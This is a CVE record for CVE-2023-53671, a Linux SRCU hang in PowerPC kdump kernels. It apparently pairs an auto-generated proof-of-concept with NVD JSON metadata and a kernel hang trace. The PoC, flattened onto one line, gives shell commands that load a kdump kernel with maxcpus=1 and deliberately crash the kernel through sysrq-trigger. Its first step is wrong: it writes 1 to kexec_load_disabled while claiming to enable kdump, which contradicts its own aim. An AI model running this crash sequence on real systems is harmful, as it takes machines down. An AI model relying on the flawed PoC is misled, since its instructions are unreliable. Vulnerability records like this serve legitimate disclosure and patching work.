CVE-2023-53671

// PoC: Trigger CVE-2023-53671 by booting a kdump kernel with maxcpus=1 on PowerPC // This causes a non-zero CPU to be the boot CPU, triggering the SRCU hang // Step 1: Configure kdump on a PowerPC system // Ensure kdump is enabled in the system: echo "1" > /proc/sys/kernel/kexec_load_disabled // Step 2: Load a kdump kernel with maxcpus=1 parameter // This forces the kdump kernel to boot with only 1 CPU, // and on PowerPC, this CPU may not be CPU 0 kexec -p /boot/vmlinuz-kdump \ --initrd=/boot/initramfs-kdump.img \ --append="maxcpus=1 irqpoll nr_cpus=1 reset_devices" // Step 3: Trigger the crash to boot into kdump kernel echo c > /proc/sysrq-trigger // Step 4: Observe the system hang // After booting into kdump kernel, the system will hang // because SRCU tries to delegate work to CPU 0 which is offline // Check kernel logs for: // "INFO: task systemd:1 blocked for more than 122 seconds." // "INFO: task kworker/u16:1:24 blocked for more than 122 seconds." // Verification command to check if the system is hung: dmesg | grep -i "blocked for more than" // Expected output showing the hang: // [ 243.686240] INFO: task systemd:1 blocked for more than 122 seconds. // [ 243.686708] INFO: task kworker/u16:1:24 blocked for more than 122 seconds.

{"cve": {"id": "CVE-2023-53671", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:51.000", "lastModified": "2026-02-26T23:15:00.707", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsrcu: Delegate work to the boot cpu if using SRCU_SIZE_SMALL\n\nCommit 994f706872e6 (\"srcu: Make Tree SRCU able to operate without\nsnp_node array\") assumes that cpu 0 is always online. However, there\nreally are situations when some other CPU is the boot CPU, for example,\nwhen booting a kdump kernel with the maxcpus=1 boot parameter.\n\nOn PowerPC, the kdump kernel can hang as follows:\n...\n[ 1.740036] systemd[1]: Hostname set to <xyz.com>\n[ 243.686240] INFO: task systemd:1 blocked for more than 122 seconds.\n[ 243.686264] Not tainted 6.1.0-rc1 #1\n[ 243.686272] \"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\n[ 243.686281] task:systemd state:D stack:0 pid:1 ppid:0 flags:0x00042000\n[ 243.686296] Call Trace:\n[ 243.686301] [c000000016657640] [c000000016657670] 0xc000000016657670 (unreliable)\n[ 243.686317] [c000000016657830] [c00000001001dec0] __switch_to+0x130/0x220\n[ 243.686333] [c000000016657890] [c000000010f607b8] __schedule+0x1f8/0x580\n[ 243.686347] [c000000016657940] [c000000010f60bb4] schedule+0x74/0x140\n[ 243.686361] [c0000000166579b0] [c000000010f699b8] schedule_timeout+0x168/0x1c0\n[ 243.686374] [c000000016657a80] [c000000010f61de8] __wait_for_common+0x148/0x360\n[ 243.686387] [c000000016657b20] [c000000010176bb0] __flush_work.isra.0+0x1c0/0x3d0\n[ 243.686401] [c000000016657bb0] [c0000000105f2768] fsnotify_wait_marks_destroyed+0x28/0x40\n[ 243.686415] [c000000016657bd0] [c0000000105f21b8] fsnotify_destroy_group+0x68/0x160\n[ 243.686428] [c000000016657c40] [c0000000105f6500] inotify_release+0x30/0xa0\n[ 243.686440] [c000000016657cb0] [c0000000105751a8] __fput+0xc8/0x350\n[ 243.686452] [c000000016657d00] [c00000001017d524] task_work_run+0xe4/0x170\n[ 243.686464] [c000000016657d50] [c000000010020e94] do_notify_resume+0x134/0x140\n[ 243.686478] [c000000016657d80] [c00000001002eb18] interrupt_exit_user_prepare_main+0x198/0x270\n[ 243.686493] [c000000016657de0] [c00000001002ec60] syscall_exit_prepare+0x70/0x180\n[ 243.686505] [c000000016657e10] [c00000001000bf7c] system_call_vectored_common+0xfc/0x280\n[ 243.686520] --- interrupt: 3000 at 0x7fffa47d5ba4\n[ 243.686528] NIP: 00007fffa47d5ba4 LR: 0000000000000000 CTR: 0000000000000000\n[ 243.686538] REGS: c000000016657e80 TRAP: 3000 Not tainted (6.1.0-rc1)\n[ 243.686548] MSR: 800000000000d033 <SF,EE,PR,ME,IR,DR,RI,LE> CR: 42044440 XER: 00000000\n[ 243.686572] IRQMASK: 0\n[ 243.686572] GPR00: 0000000000000006 00007ffffa606710 00007fffa48e7200 0000000000000000\n[ 243.686572] GPR04: 0000000000000002 000000000000000a 0000000000000000 0000000000000001\n[ 243.686572] GPR08: 000001000c172dd0 0000000000000000 0000000000000000 0000000000000000\n[ 243.686572] GPR12: 0000000000000000 00007fffa4ff4bc0 0000000000000000 0000000000000000\n[ 243.686572] GPR16: 0000000000000000 0000000000000000 0000000000000000 0000000000000000\n[ 243.686572] GPR20: 0000000132dfdc50 000000000000000e 0000000000189375 0000000000000000\n[ 243.686572] GPR24: 00007ffffa606ae0 0000000000000005 000001000c185490 000001000c172570\n[ 243.686572] GPR28: 000001000c172990 000001000c184850 000001000c172e00 00007fffa4fedd98\n[ 243.686683] NIP [00007fffa47d5ba4] 0x7fffa47d5ba4\n[ 243.686691] LR [0000000000000000] 0x0\n[ 243.686698] --- interrupt: 3000\n[ 243.686708] INFO: task kworker/u16:1:24 blocked for more than 122 seconds.\n[ 243.686717] Not tainted 6.1.0-rc1 #1\n[ 243.686724] \"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\n[ 243.686733] task:kworker/u16:1 state:D stack:0 pid:24 ppid:2 flags:0x00000800\n[ 243.686747] Workqueue: events_unbound fsnotify_mark_destroy_workfn\n[ 243.686758] Call Trace:\n[ 243.686762] [c0000000166736e0] [c00000004fd91000] 0xc00000004fd91000 (unreliable)\n[ 243.686775] [c0000000166738d0] [c00000001001dec0] __switch_to+0x130/0x220\n[ 243.686788] [c000000016673930] [c000000010f607b8] __schedule+0x1f8/0x\n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false ... (truncated)